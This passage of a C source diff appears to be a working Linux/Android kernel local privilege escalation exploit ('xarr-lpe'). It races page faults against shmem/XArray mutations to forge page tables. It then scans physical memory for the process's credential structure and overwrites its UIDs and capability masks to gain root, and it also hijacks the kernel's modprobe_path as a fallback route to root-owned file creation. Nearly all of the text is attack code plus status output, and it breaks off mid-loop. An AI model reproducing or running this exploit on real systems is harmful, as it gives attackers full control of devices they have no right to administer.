POST_ROOT_TEXT; + int fd = open(modprobe_marker_path, + O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC | O_NOFOLLOW, + 0400); + + if (fd < 0) + return -1; + if (fchown(fd, 0, 0) != 0 || fchmod(fd, 0400) != 0 || + write(fd, payload, sizeof(payload) - 1) != + (ssize_t)(sizeof(payload) - 1)) { + close(fd); + return -1; + } + return close(fd); +} + +static int root_marker_exists(void) +{ + struct stat st = { 0 }; + + return lstat(modprobe_marker_path, &st) == 0 && + st.st_uid == 0 && st.st_gid == 0 && + (st.st_mode & 07777) == 0400; +} + +static int trigger_modprobe(void) +{ + static const unsigned char unknown_format[] = { 0xff, 0xff, 0xff, 0xff }; + pid_t child; + int fd; + int status = 0; + + fd = open(MODPROBE_TRIGGER_PATH, + O_WRONLY | O_CREAT | O_TRUNC | O_CLOEXEC | O_NOFOLLOW, 0700); + if (fd < 0) + return -1; + if (fchmod(fd, 0700) != 0 || + write(fd, unknown_format, sizeof(unknown_format)) != + (ssize_t)sizeof(unknown_format) || + close(fd) != 0) + return -1; + + child = fork(); + if (child == 0) { + execl(MODPROBE_TRIGGER_PATH, MODPROBE_TRIGGER_PATH, NULL); + _exit(errno == ENOEXEC ? 0 : 126); + } + if (child < 0 || waitpid(child, &status, 0) < 0) + return -1; + (void)unlink(MODPROBE_TRIGGER_PATH); + if (!root_marker_exists()) + return -1; + printf("MODPROBE_ROOT_MARKER uid=0 gid=0 mode=0400 child_status=%d\n", + WIFEXITED(status) ? WEXITSTATUS(status) : -1); + fflush(stdout); + return 0; +} + +static int patch_modprobe_path(uintptr_t fake_base, + unsigned long mapped_bytes, + unsigned long base_pfn) +{ + static const unsigned char original[] = MODPROBE_PATH_ORIGINAL; + unsigned char replacement[sizeof(original)] = { 0 }; + const unsigned long pages = mapped_bytes / PAGE_SIZE; + unsigned long candidates = 0; + + if (modprobe_helper_path[0] == '\0') + return -1; + memcpy(replacement, modprobe_helper_path, + strlen(modprobe_helper_path)); + for (unsigned long page = 0; page < pages; page++) { + volatile unsigned char *page_base = + (volatile unsigned char *)fake_base + page * PAGE_SIZE; + unsigned char probe; + + if (safe_read(page_base, &probe) != 0) + continue; + for (unsigned long offset = 0; + offset + sizeof(original) <= PAGE_SIZE; + offset++) { + unsigned char saved[sizeof(original)]; + volatile unsigned char *candidate = page_base + offset; + + if (memcmp((const void *)candidate, original, + sizeof(original)) != 0) + continue; + candidates++; + for (unsigned long i = 0; i < sizeof(saved); i++) { + saved[i] = candidate[i]; + candidate[i] = replacement[i]; + } + atomic_thread_fence(memory_order_seq_cst); + printf("MODPROBE_PATH_CANDIDATE pfn=%#lx page_offset=%#lx candidate=%lu\n", + base_pfn + page, offset, candidates); + fflush(stdout); + { + int trigger_rc = trigger_modprobe(); + + for (unsigned long i = 0; i < sizeof(saved); i++) + candidate[i] = saved[i]; + atomic_thread_fence(memory_order_seq_cst); + if (trigger_rc == 0) { + printf("MODPROBE_PATH_PATCH selected=1 restored=1 pfn=%#lx page_offset=%#lx replacement=%s\n", + base_pfn + page, offset, + modprobe_helper_path); + fflush(stdout); + return 0; + } + } + } + } + printf("MODPROBE_PATH_SCAN base_pfn=%#lx bytes=%lu candidates=%lu selected=0\n", + base_pfn, mapped_bytes, candidates); + fflush(stdout); + return -1; +} + + +static void *reserve_layout(uintptr_t *root_out) +{ + static const uintptr_t roots[] = { + 0x400000000000ULL, 0x3f8000000000ULL, + 0x300000000000ULL, 0x200000000000ULL + }; + unsigned int i; + + for (i = 0; i < sizeof(roots) / sizeof(roots[0]); i++) { + void *p = mmap((void *)roots[i], + LAYOUT_CANDIDATES * PUD_SIZE, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED_NOREPLACE, + -1, 0); + if (p != MAP_FAILED) { + *root_out = roots[i]; + return p; + } + } + return MAP_FAILED; +} + +static int touch_file_byte(const char *p) +{ + char byte; + return pread(sink_fd, &byte, 1, 0) == 1 && pwrite(sink_fd, p, 1, 0) == 1 ? 0 : -1; +} + + + +static int patch_current_credentials(uintptr_t fake_base, + unsigned long mapped_bytes, + unsigned long base_pfn) +{ + enum { + CRED_USAGE_OFFSET = 0, + CRED_IDS_OFFSET = 4, + CRED_SECUREBITS_OFFSET = 36, + CRED_CAP_INHERITABLE_OFFSET = 40, + CRED_CAP_PERMITTED_OFFSET = 48, + CRED_CAP_EFFECTIVE_OFFSET = 56, + CRED_CAP_BSET_OFFSET = 64, + CRED_CAP_AMBIENT_OFFSET = 72, + CRED_SECURITY_OFFSET = 120, + CRED_SIZE = 176, + }; + const uint32_t expected_ids[8] = { + target_ruid, target_rgid, target_suid, target_sgid, + target_euid, target_egid, target_fsuid, target_fsgid, + }; + const unsigned long pages = mapped_bytes / PAGE_SIZE; + unsigned long candidates = 0; + unsigned long id_matches = 0; + + for (unsigned long page = 0; page < pages; page++) { + volatile unsigned char *page_base = + (volatile unsigned char *)fake_base + page * PAGE_SIZE; + unsigned char probe; + + if (safe_read(page_base, &probe) != 0) + continue; + for (unsigned long offset = 0; + offset + CRED_SIZE <= PAGE_SIZE; offset += sizeof(uint64_t)) { + volatile unsigned char *cred = page_base + offset; + uint32_t saved_ids[8]; + uint32_t saved_securebits; + uint64_t saved_permitted, saved_effective; + uint64_t security; + uint32_t usage; + unsigned int id; + + for (id = 0; id < 8; id++) { + if (*(volatile uint32_t *) + (cred + CRED_IDS_OFFSET + + id * sizeof(uint32_t)) != expected_ids[id]) + break; + } + if (id != 8) + continue; + id_matches++; + usage = *(volatile uint32_t *)(cred + CRED_USAGE_OFFSET); + security = *(volatile uint64_t *)(cred + + CRED_SECURITY_OFFSET); + if (usage == 0 || usage > 0x100000 || + *(volatile uint64_t *) + (cred + CRED_CAP_INHERITABLE_OFFSET) != 0 || + *(volatile uint64_t *) + (cred + CRED_CAP_PERMITTED_OFFSET) != 0 || + *(volatile uint64_t *) + (cred + CRED_CAP_EFFECTIVE_OFFSET) != 0 || + *(volatile uint64_t *) + (cred + CRED_CAP_AMBIENT_OFFSET) != 0 || + (security >> 48) != 0xffff) + continue; + + candidates++; + printf("CRED_CANDIDATE layout=android-6.1-btf pfn=%#lx page_offset=%#lx usage=%u bset=%#llx ambient=%#llx security=%#llx\n", + base_pfn + page, offset, usage, + (unsigned long long)*(volatile uint64_t *) + (cred + CRED_CAP_BSET_OFFSET), + (unsigned long long)*(volatile uint64_t *) + (cred + CRED_CAP_AMBIENT_OFFSET), + (unsigned long long)security); + for (id = 0; id < 8; id++) + saved_ids[id] = *(volatile uint32_t *) + (cred + CRED_IDS_OFFSET + + id * sizeof(uint32_t)); + saved_securebits = *(volatile uint32_t *) + (cred + CRED_SECUREBITS_OFFSET); + saved_permitted = *(volatile uint64_t *) + (cred + CRED_CAP_PERMITTED_OFFSET); + saved_effective = *(volatile uint64_t *) + (cred + CRED_CAP_EFFECTIVE_OFFSET); + for (id = 0; id < 8; id++) + *(volatile uint32_t *) + (cred + CRED_IDS_OFFSET + + id * sizeof(uint32_t)) = 0; + *(volatile uint32_t *)(cred + CRED_SECUREBITS_OFFSET) = 0; + *(volatile uint64_t *)(cred + CRED_CAP_PERMITTED_OFFSET) = + CAP_VALID_MASK_7_1; + *(volatile uint64_t *)(cred + CRED_CAP_EFFECTIVE_OFFSET) = + CAP_VALID_MASK_7_1; + atomic_thread_fence(memory_order_seq_cst); + + if (getuid() == 0 && geteuid() == 0) { + printf("CRED_SCAN layout=android-6.1-btf base_pfn=%#lx bytes=%lu id_matches=%lu candidates=%lu selected=1\n", + base_pfn, mapped_bytes, id_matches, + candidates); + printf("CRED_PATCH layout=android-6.1-btf pfn=%#lx page_offset=%#lx permitted=%#llx effective=%#llx\n", + base_pfn + page, offset, + (unsigned long long)CAP_VALID_MASK_7_1, + (unsigned long long)CAP_VALID_MASK_7_1); + fflush(stdout); + return 0; + } + + for (id = 0; id < 8; id++) + *(volatile uint32_t *) + (cred + CRED_IDS_OFFSET + + id * sizeof(uint32_t)) = saved_ids[id]; + *(volatile uint32_t *)(cred + CRED_SECUREBITS_OFFSET) = + saved_securebits; + *(volatile uint64_t *)(cred + CRED_CAP_PERMITTED_OFFSET) = + saved_permitted; + *(volatile uint64_t *)(cred + CRED_CAP_EFFECTIVE_OFFSET) = + saved_effective; + atomic_thread_fence(memory_order_seq_cst); + } + } + + printf("CRED_SCAN layout=android-6.1-btf base_pfn=%#lx bytes=%lu id_matches=%lu candidates=%lu selected=0\n", + base_pfn, mapped_bytes, id_matches, candidates); + fflush(stdout); + return -1; +} + +static int read_proc_fs_ids(uid_t *fsuid, gid_t *fsgid) +{ + char line[256]; + unsigned int real_id, effective_id, saved_id, filesystem_id; + int have_uid = 0; + int have_gid = 0; + FILE *status = fopen("/proc/self/status", "re"); + + if (status == NULL) + return -1; + while (fgets(line, sizeof(line), status) != NULL) { + if (!have_uid && + sscanf(line, "Uid:\t%u\t%u\t%u\t%u", + &real_id, &effective_id, &saved_id, + &filesystem_id) == 4) { + *fsuid = (uid_t)filesystem_id; + have_uid = 1; + } else if (!have_gid && + sscanf(line, "Gid:\t%u\t%u\t%u\t%u", + &real_id, &effective_id, &saved_id, + &filesystem_id) == 4) { + *fsgid = (gid_t)filesystem_id; + have_gid = 1; + } + if (have_uid && have_gid) + break; + } + fclose(status); + return have_uid && have_gid ? 0 : -1; +} + +static int prove_root_identity(void) +{ + struct __user_cap_header_struct hdr = { + .version = _LINUX_CAPABILITY_VERSION_3, + .pid = 0, + }; + struct __user_cap_data_struct caps[2] = { 0 }; + uid_t ruid = (uid_t)-1, euid = (uid_t)-1, suid = (uid_t)-1; + gid_t rgid = (gid_t)-1, egid = (gid_t)-1, sgid = (gid_t)-1; + uid_t fsuid = (uid_t)-1; + gid_t fsgid = (gid_t)-1; + char proof[64] = { 0 }; + uint64_t effective; + int fd; + ssize_t n; + int cap_rc; + + int identity_rc; + + identity_rc = getresuid(&ruid, &euid, &suid) != 0 || + getresgid(&rgid, &egid, &sgid) != 0 || + read_proc_fs_ids(&fsuid, &fsgid) != 0; + cap_rc = (int)syscall(SYS_capget, &hdr, caps); + effective = ((uint64_t)caps[1].effective << 32) | caps[0].effective; + fd = open(ROOT_PROOF_PATH, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + n = fd >= 0 ? read(fd, proof, sizeof(proof) - 1) : -1; + if (fd >= 0) + close(fd); + printf("ROOT_IDENTITY uid=%u euid=%u suid=%u gid=%u egid=%u sgid=%u fsuid=%u fsgid=%u identity_rc=%d capget_rc=%d cap_effective=%#llx\n", + ruid, euid, suid, rgid, egid, sgid, fsuid, fsgid, + identity_rc, cap_rc, (unsigned long long)effective); + printf("ROOT_PROOF required=%d open=%d read=%ld data=%.*s\n", + root_proof_required, fd >= 0, (long)n, + n > 0 ? (int)n : 0, proof); + fflush(stdout); + return identity_rc == 0 && + ruid == 0 && euid == 0 && suid == 0 && + rgid == 0 && egid == 0 && sgid == 0 && + fsuid == 0 && fsgid == 0 && cap_rc == 0 && + (effective & ROOT_REQUIRED_CAPS) == ROOT_REQUIRED_CAPS && + (!root_proof_required || + (n == (ssize_t)strlen(ROOT_PROOF_TEXT) && + memcmp(proof, ROOT_PROOF_TEXT, strlen(ROOT_PROOF_TEXT)) == 0)) ? + 0 : -1; +} + +static int prove_post_root_create(void) +{ + static const char payload[] = POST_ROOT_TEXT; + char observed[64] = { 0 }; + struct stat st = { 0 }; + int fd; + ssize_t n; + + fd = open(post_root_path, + O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC | O_NOFOLLOW, 0400); + if (fd < 0) { + printf("POST_ROOT_CREATE path=%s created=0 errno=%d (%s)\n", + post_root_path, errno, strerror(errno)); + return -1; + } + if (fchown(fd, 0, 0) != 0 || fchmod(fd, 0400) != 0 || + write(fd, payload, sizeof(payload) - 1) != + (ssize_t)(sizeof(payload) - 1)) { + close(fd); + return -1; + } + if (close(fd) != 0) + return -1; + + fd = open(post_root_path, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + n = fd >= 0 ? read(fd, observed, sizeof(observed) - 1) : -1; + if (fd >= 0) + close(fd); + if (lstat(post_root_path, &st) != 0) + return -1; + printf("POST_ROOT_CREATE path=%s created=1 uid=%u gid=%u mode=%#o read=%ld data=%.*s\n", + post_root_path, st.st_uid, st.st_gid, st.st_mode & 07777, + (long)n, n > 0 ? (int)n : 0, observed); + fflush(stdout); + return st.st_uid == 0 && st.st_gid == 0 && + (st.st_mode & 07777) == 0400 && + n == (ssize_t)strlen(POST_ROOT_TEXT) && + memcmp(observed, POST_ROOT_TEXT, strlen(POST_ROOT_TEXT)) == 0 ? + 0 : -1; +} + +static int run_exploit(int rounds) +{ + pthread_t threads[FAULT_THREADS]; + pthread_t membarrier_threads[RACE_MEMBARRIER_WORKERS > 0 ? + RACE_MEMBARRIER_WORKERS : 1]; + uintptr_t root; + uintptr_t candidate_roots[LAYOUT_CANDIDATES]; + uintptr_t source_bases[LAYOUT_CANDIDATES]; + uintptr_t fake_bases[LAYOUT_CANDIDATES]; + void *layout; + char *dummies[LAYOUT_CANDIDATES]; + char *marker, *tlb_flush_pad; + cpu_set_t groom_saved_set; + int groom_cpu = -1; + int groom_fd = -1; + int i; + int success = 0; + int pte_spill = 0; + int winning_fd = -1; + uint64_t *winning_alias = MAP_FAILED; + unsigned long mapped_bytes = 0; + uintptr_t winning_fake_base = 0; + unsigned long winning_pmds = 0; + char *winning_source = MAP_FAILED; + unsigned long mutation_failures = 0; + unsigned long active_gate_misses = 0; + struct sigaction sa = { .sa_handler = fault_signal }; + + if (getresuid(&target_ruid, &target_euid, &target_suid) != 0 || + getresgid(&target_rgid, &target_egid, &target_sgid) != 0 || + read_proc_fs_ids(&target_fsuid, &target_fsgid) != 0) { + perror("capture identity"); + return 2; + } + if (target_ruid == 0 || target_euid == 0 || target_suid == 0 || + target_rgid == 0 || target_egid == 0 || target_sgid == 0 || + target_fsuid == 0 || target_fsgid == 0) { + fprintf(stderr, "EXPLOIT_REFUSED privileged initial identity\n"); + return 2; + } + (void)prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); + (void)prctl(PR_SET_DUMPABLE, 1, 0, 0, 0); + (void)prctl(PR_SET_NAME, "xarr-lpe-main", 0, 0, 0); + printf("EXPLOIT_IDENTITY uid=%u euid=%u suid=%u gid=%u egid=%u sgid=%u fsuid=%u fsgid=%u nnp=%d\n", + target_ruid, target_euid, target_suid, + target_rgid, target_egid, target_sgid, + target_fsuid, target_fsgid, + prctl(PR_GET_NO_NEW_PRIVS, 0, 0, 0, 0)); + fflush(stdout); + { + struct __user_cap_header_struct hdr = { + .version = _LINUX_CAPABILITY_VERSION_3, + .pid = 0, + }; + struct __user_cap_data_struct caps[2] = { 0 }; + int rc = (int)syscall(SYS_capget, &hdr, caps); + uint64_t effective = ((uint64_t)caps[1].effective << 32) | + caps[0].effective; + + printf("EXPLOIT_CAPS capget_rc=%d effective=%#llx\n", rc, + (unsigned long long)effective); + fflush(stdout); + } + { + int fd; + int saved_errno; + + errno = 0; + fd = open(ROOT_PROOF_PATH, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + saved_errno = errno; + root_proof_required = + getenv("XARR_REQUIRE_ROOT_PROOF") != NULL; + printf("PRE_ROOT_PROOF required=%d open=%d errno=%d (%s)\n", + root_proof_required, fd >= 0, saved_errno, + strerror(saved_errno)); + fflush(stdout); + if (fd >= 0) { + close(fd); + return 2; + } + } + + memset(&sa.sa_mask, 0, sizeof(sa.sa_mask)); + sa.sa_flags = SA_NODEFER; + sigaction(SIGSEGV, &sa, NULL); + sigaction(SIGBUS, &sa, NULL); + + sink_fd = (int)syscall(SYS_memfd_create, "xarray-sink", MFD_CLOEXEC); + groom_fd = (int)syscall(SYS_memfd_create, "xarray-groom", MFD_CLOEXEC); + if (sink_fd < 0 || groom_fd < 0 || ftruncate(sink_fd, PAGE_SIZE) != 0 || + ftruncate(groom_fd, PAGE_SIZE) != 0) { + perror("prepare grooming files"); + return 2; + } + if (pwrite(groom_fd, "G", 1, 0) != 1) { + perror("populate grooming file"); + return 2; + } + + marker = mmap(NULL, MARKER_PAGES * PAGE_SIZE, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (marker == MAP_FAILED) { + perror("marker mmap"); + return 2; + } + (void)madvise(marker, MARKER_PAGES * PAGE_SIZE, MADV_NOHUGEPAGE); + for (unsigned long page = 0; page < MARKER_PAGES; page++) { + unsigned char *p = (unsigned char *)marker + page * PAGE_SIZE; + memcpy(p, MARKER_MAGIC, sizeof(MARKER_MAGIC)); + memcpy(p + 32, &page, sizeof(page)); + p[128] = (unsigned char)(page ^ 0x5a); + } + printf("MARKER_SPRAY pages=%lu bytes=%lu\n", MARKER_PAGES, + MARKER_PAGES * PAGE_SIZE); + tlb_flush_pad = mmap(NULL, TLB_FLUSH_PAGES * PAGE_SIZE, + PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (tlb_flush_pad == MAP_FAILED) { + perror("tlb flush pad mmap"); + return 2; + } + (void)madvise(tlb_flush_pad, TLB_FLUSH_PAGES * PAGE_SIZE, + MADV_NOHUGEPAGE); + for (unsigned long page = 0; page < TLB_FLUSH_PAGES; page++) + tlb_flush_pad[page * PAGE_SIZE] = 0; + if ((RACE_MEMBARRIER_SHOTS > 0 || RACE_MEMBARRIER_WORKERS > 0) && + syscall(SYS_membarrier, + MEMBARRIER_CMD_REGISTER_PRIVATE_EXPEDITED, 0, 0) != 0) { + perror("register private expedited membarrier"); + return 2; + } + + if (RACE_PIN_WORKERS) { + cpu_set_t set; + + CPU_ZERO(&set); + CPU_SET(0, &set); + if (sched_setaffinity(0, sizeof(set), &set) != 0) { + perror("pin race coordinator"); + return 2; + } + } + layout = reserve_layout(&root); + if (layout == MAP_FAILED) { + perror("reserve fixed layout"); + return 2; + } + for (unsigned int candidate = 0; + candidate < LAYOUT_CANDIDATES; candidate++) { + candidate_roots[candidate] = root + candidate * PUD_SIZE; + source_bases[candidate] = candidate_roots[candidate] + + (candidate == 0 ? SOURCE_ENTRY * PMD_SIZE : 0); + fake_bases[candidate] = candidate_roots[candidate] + + CORRUPT_FIRST_PMD * PMD_SIZE; + } + + /* + * Install every VMA before the allocation-sensitive page-table + * sequence. A candidate's PTE page may physically follow its PMD page; + * the next candidate's PMD allocation may physically follow that PTE + * page. Racing each adjacent pair provides repeated opportunities on + * guests that shuffle the page allocator while preserving the original + * two-candidate geometry by default. + */ + for (unsigned int candidate = 0; + candidate < LAYOUT_CANDIDATES; candidate++) { + dummies[candidate] = mmap( + (void *)(source_bases[candidate] + PMD_SIZE - PAGE_SIZE), + PAGE_SIZE, PROT_READ, MAP_SHARED | MAP_FIXED, groom_fd, 0); + if (dummies[candidate] == MAP_FAILED || + mmap((void *)fake_bases[candidate], FAKE_WINDOW_SIZE, + PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, + -1, 0) == MAP_FAILED) { + perror("install fixed candidate VMAs"); + return 2; + } + } + + /* + * Keep every page-table fault on one allowed CPU so the order-0 + * allocations use one per-CPU page list. + */ + if (sched_getaffinity(0, sizeof(groom_saved_set), + &groom_saved_set) != 0) { + perror("read groom affinity"); + return 2; + } + groom_cpu = sched_getcpu(); + if (groom_cpu < 0 || !CPU_ISSET(groom_cpu, &groom_saved_set)) { + for (int cpu = 0; cpu < CPU_SETSIZE; cpu++) { + if (CPU_ISSET(cpu, &groom_saved_set)) { + groom_cpu = cpu; + break; + } + } + } + if (groom_cpu < 0) { + fprintf(stderr, "no allowed groom CPU\n"); + return 2; + } + { + cpu_set_t groom_single_set; + + CPU_ZERO(&groom_single_set); + CPU_SET(groom_cpu, &groom_single_set); + if (sched_setaffinity(0, sizeof(groom_single_set), + &groom_single_set) != 0) { + perror("pin page-table groom"); + return 2; + } + } + for (unsigned int candidate = 0; + candidate < LAYOUT_CANDIDATES; candidate++) { + if (touch_file_byte(dummies[candidate]) != 0) { + (void)sched_setaffinity(0, sizeof(groom_saved_set), + &groom_saved_set); + perror("fault candidate grooming mapping"); + return 2; + } + } + if (sched_setaffinity(0, sizeof(groom_saved_set), + &groom_saved_set) != 0) { + perror("restore groom affinity"); + return 2; + } + printf("PAGETABLE_GROOM root=%#lx cpu=%d candidates=%u first_source=%#lx first_fake=%#lx last_source=%#lx last_fake=%#lx\n", + (unsigned long)root, groom_cpu, + (unsigned int)LAYOUT_CANDIDATES, + (unsigned long)source_bases[0], + (unsigned long)fake_bases[0], + (unsigned long)source_bases[LAYOUT_CANDIDATES - 1], + (unsigned long)fake_bases[LAYOUT_CANDIDATES - 1]); + fflush(stdout); + + for (unsigned int candidate = 0; + candidate < LAYOUT_CANDIDATES; candidate++) { + unsigned char resident = 0xff; + int pre_rc = mincore((void *)fake_bases[candidate], PAGE_SIZE, + &resident); + + printf("FAKE_WINDOW_PRECONDITION candidate=%u mincore_rc=%d resident=%u\n", + candidate, pre_rc, resident & 1); + if (pre_rc != 0 || (resident & 1) != 0) + return 2; + } + + atomic_store(&run_state, 0); + atomic_store(&active_workers, 0); + atomic_store(&fault_callers, 0); + atomic_store(&fault_started, 0); + atomic_store(&fault_done, 0); + atomic_store(&fault_release, 0); + for (i = 0; i < FAULT_THREADS; i++) { + if (pthread_create(&threads[i], NULL, fault_worker, + (void *)(uintptr_t)i) != 0) { + perror("pthread_create"); + return 2; + } + } + atomic_store(&membarrier_calls, 0); + for (i = 0; i < RACE_MEMBARRIER_WORKERS; i++) { + if (pthread_create(&membarrier_threads[i], NULL, + membarrier_worker, NULL) != 0) { + perror("pthread_create membarrier"); + return 2; + } + } + + for (i = 0; i < rounds; i++) { + int fd; + char *source; + char *sources[RACE_SOURCE_VIEWS]; + uint64_t *alias; + unsigned char *whole = MAP_FAILED; + void *whole_reservation = MAP_FAILED; + volatile unsigned int delay; + const unsigned int candidate = RACE_ROTATE_LAYOUT ? + (unsigned int)i % (LAYOUT_CANDIDATES - 1) : + RACE_LAYOUT_CANDIDATE; + const uintptr_t race_source_base = source_bases[candidate]; + int mutation_ready = 1; + + fd = (int)syscall(SYS_memfd_create, "xarray-race", + MFD_CLOEXEC); + if (fd < 0 || + ftruncate(fd, (off_t)((RACE_FILE_BASE_PGOFF + 512UL) * + PAGE_SIZE)) != 0) { + perror("prepare race file"); + return 3; + } + if (RACE_MUTATION_MODE == 3) { + whole = prepare_order0_shmem_folio(fd, + &whole_reservation); + if (whole == MAP_FAILED) { + perror("prepare order-0 race folio"); + return 3; + } + } else if (prepare_large_shmem_folio(fd) != 0) { + perror("prepare race folio"); + return 3; + } + for (unsigned int view = 0; view < RACE_SOURCE_VIEWS; view++) { + sources[view] = mmap( + (void *)(race_source_base + view * SOURCE_SIZE), + SOURCE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, + MAP_SHARED | MAP_FIXED, fd, + (RACE_FILE_BASE_PGOFF + SOURCE_PGOFF + + view * SOURCE_SIZE / PAGE_SIZE) * PAGE_SIZE); + if (sources[view] == MAP_FAILED) { + perror("map source race view"); + return 2; + } + } + source = sources[0]; + alias = mmap(NULL, FAKE_ALIAS_SIZE, PROT_READ | PROT_WRITE, + MAP_SHARED, fd, + (off_t)((RACE_FILE_BASE_PGOFF + 64UL) * + PAGE_SIZE)); + if (alias == MAP_FAILED) { + perror("map fake-PTE alias"); + return 2; + } + /* + * Populate every candidate page-table page. Vendor kernels can + * expose a different backward XArray span, so fixed probe slots + * would miss an otherwise usable page-table installation. + */ + fill_fake_ptes(alias, PHYS_BASE_PFN, 1); + memcpy((unsigned char *)alias + + (SOURCE_PGOFF - 64UL - 1UL) * PAGE_SIZE, + PTE_SPILL_MAGIC, sizeof(PTE_SPILL_MAGIC)); + + for (unsigned int view = 0; view < RACE_SOURCE_VIEWS; view++) + atomic_store_explicit(&fault_addrs[view], sources[view], + memory_order_release); + atomic_store_explicit(&fault_started, 0, + memory_order_release); + atomic_store_explicit(&fault_done, 0, + memory_order_release); + if (STARTUP_WAIT_ALL_WORKERS) + atomic_store_explicit(&fault_release, 0, + memory_order_release); + atomic_store_explicit(&run_state, 1, memory_order_release); + if (STARTUP_WAIT_ACTIVE) { + if (STARTUP_WAIT_ALL_WORKERS) { + while (atomic_load_explicit( + &active_workers, + memory_order_acquire) != + FAULT_THREADS) + sched_yield(); + atomic_store_explicit(&fault_release, 1, + memory_order_release); + } + while (atomic_load_explicit(&fault_callers, + memory_order_acquire) == 0 && + atomic_load_explicit(&fault_done, + memory_order_acquire) != + FAULT_THREADS) + sched_yield(); + if (atomic_load_explicit(&fault_callers, + memory_order_acquire) == 0) + active_gate_misses++; + } + for (delay = 0; + delay < ((unsigned int)i % DELAY_PERIOD) * DELAY_STEP; + delay++) + __asm__ __volatile__("" ::: "memory"); +#if RACE_MEMBARRIER_SHOTS > 0 + for (unsigned int shot = 0; + shot < RACE_MEMBARRIER_SHOTS; shot++) + (void)syscall(SYS_membarrier, + MEMBARRIER_CMD_PRIVATE_EXPEDITED, 0, 0); +#endif + if (RACE_MUTATION_MODE == 2) { + const unsigned long minimum_local_pages = + SOURCE_PGOFF + SOURCE_SIZE / PAGE_SIZE; + const unsigned long new_pages = + RACE_FILE_BASE_PGOFF + minimum_local_pages + + (unsigned long)i % + (512UL - minimum_local_pages); + + if (ftruncate(fd, (off_t)(new_pages * PAGE_SIZE)) != 0 || + ftruncate(fd, + (off_t)((RACE_FILE_BASE_PGOFF + 512UL) * + PAGE_SIZE)) != 0) { + mutation_ready = 0; + mutation_failures++; + } + } else if (RACE_MUTATION_MODE == 3) { + mutation_ready = 0; + for (unsigned int attempt = 0; + attempt < RACE_COLLAPSE_ATTEMPTS; attempt++) { + if (madvise(whole, PMD_SIZE, MADV_COLLAPSE) == 0) { + mutation_ready = 1; + break; + } + if (errno != EAGAIN && errno != EBUSY) + break; + collapse_retry_pause(); + } + if (!mutation_ready) + mutation_failures++; + } + if (mutation_ready && RACE_MUTATION_MODE != 2) + (void)fallocate(fd, + FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_KEEP_SIZE, + (off_t)(RACE_FILE_BASE_PGOFF * PAGE_SIZE), + PAGE_SIZE); + atomic_store_explicit(&run_state, 0, memory_order_release); + while (atomic_load_explicit(&active_workers, memory_order_acquire) != 0) + sched_yield(); + if (mprotect(tlb_flush_pad, TLB_FLUSH_PAGES * PAGE_SIZE, + (i & 1) != 0 ? + PROT_READ | PROT_WRITE : PROT_READ) != 0) { + perror("tlb flush mprotect"); + return 2; + } + if (whole_reservation != MAP_FAILED) + munmap(whole_reservation, 2 * PMD_SIZE); + + for (unsigned int target_candidate = candidate; + target_candidate < LAYOUT_CANDIDATES && + target_candidate < candidate + 2 && !success; + target_candidate++) { + const uintptr_t target_root = + candidate_roots[target_candidate]; + const unsigned long target_source_first_pmd = + (source_bases[target_candidate] - target_root) / + PMD_SIZE; + const unsigned long target_source_pmds = + (RACE_SOURCE_VIEWS * SOURCE_SIZE + + PMD_SIZE - 1) / PMD_SIZE; + unsigned long first_present = PUD_PMD_SLOTS; + unsigned long last_present = 0; + unsigned long present_pmds = 0; + unsigned long spill_pmd = PUD_PMD_SLOTS; + unsigned long best_first = PUD_PMD_SLOTS; + unsigned long best_len = 0; + unsigned long run_first = 0; + unsigned long run_len = 0; + + for (unsigned long pmd = 0; pmd < PUD_PMD_SLOTS; + pmd++) { + const uintptr_t pmd_base = + target_root + pmd * PMD_SIZE; + const volatile unsigned char *tail = + (const volatile unsigned char *) + (pmd_base + PMD_SIZE - PAGE_SIZE); + unsigned char head_probe = 0; + unsigned char tail_probe = 0; + + if (pmd >= target_source_first_pmd && + pmd < target_source_first_pmd + + target_source_pmds) { + run_len = 0; + continue; + } + if (safe_read((const volatile unsigned char *) + pmd_base, &head_probe) == 0) { + if (first_present == PUD_PMD_SLOTS) + first_present = pmd; + last_present = pmd; + present_pmds++; + if (run_len == 0) + run_first = pmd; + run_len++; + if (run_len > best_len) { + best_first = run_first; + best_len = run_len; + } + } else { + run_len = 0; + } + if (spill_pmd == PUD_PMD_SLOTS && + safe_read(tail, &tail_probe) == 0 && + tail_probe == PTE_SPILL_MAGIC[0] && + memcmp((const void *)tail, PTE_SPILL_MAGIC, + sizeof(PTE_SPILL_MAGIC)) == 0) + spill_pmd = pmd; + } + if (present_pmds == 0 && + spill_pmd != PUD_PMD_SLOTS) { + success = 1; + pte_spill = 1; + winning_fd = fd; + winning_alias = alias; + winning_source = source; + winning_fake_base = + target_root + spill_pmd * PMD_SIZE + + PMD_SIZE - PAGE_SIZE; + printf("PTE_SPILL_PRIMITIVE round=%d race_candidate=%u target_candidate=%u layout_pmd=%lu pte_slot=511 marker_verified=1 xarray_index=%lu expected_min_index=%lu\n", + i, candidate, target_candidate, spill_pmd, + SOURCE_PGOFF - 1, SOURCE_PGOFF); + fflush(stdout); + break; + } + if (present_pmds == 0) + continue; + if (best_len > FAKE_PT_PAGES) + best_len = FAKE_PT_PAGES; + success = 1; + winning_fd = fd; + winning_alias = alias; + winning_source = source; + winning_fake_base = + target_root + best_first * PMD_SIZE; + winning_pmds = best_len; + printf("PAGE_TABLE_PRIMITIVE round=%d race_candidate=%u target_candidate=%u present_pmds=%lu first_layout_pmd=%lu last_layout_pmd=%lu selected_first_pmd=%lu mapped_pmds=%lu scanned_pmds=%lu\n", + i, candidate, target_candidate, present_pmds, + first_present, last_present, best_first, + winning_pmds, PUD_PMD_SLOTS); + fflush(stdout); + } + if (success) + break; + for (unsigned int view = 0; view < RACE_SOURCE_VIEWS; view++) + munmap(sources[view], SOURCE_SIZE); + munmap(alias, FAKE_ALIAS_SIZE); + (void)ftruncate(fd, 0); + close(fd); + if ((i % 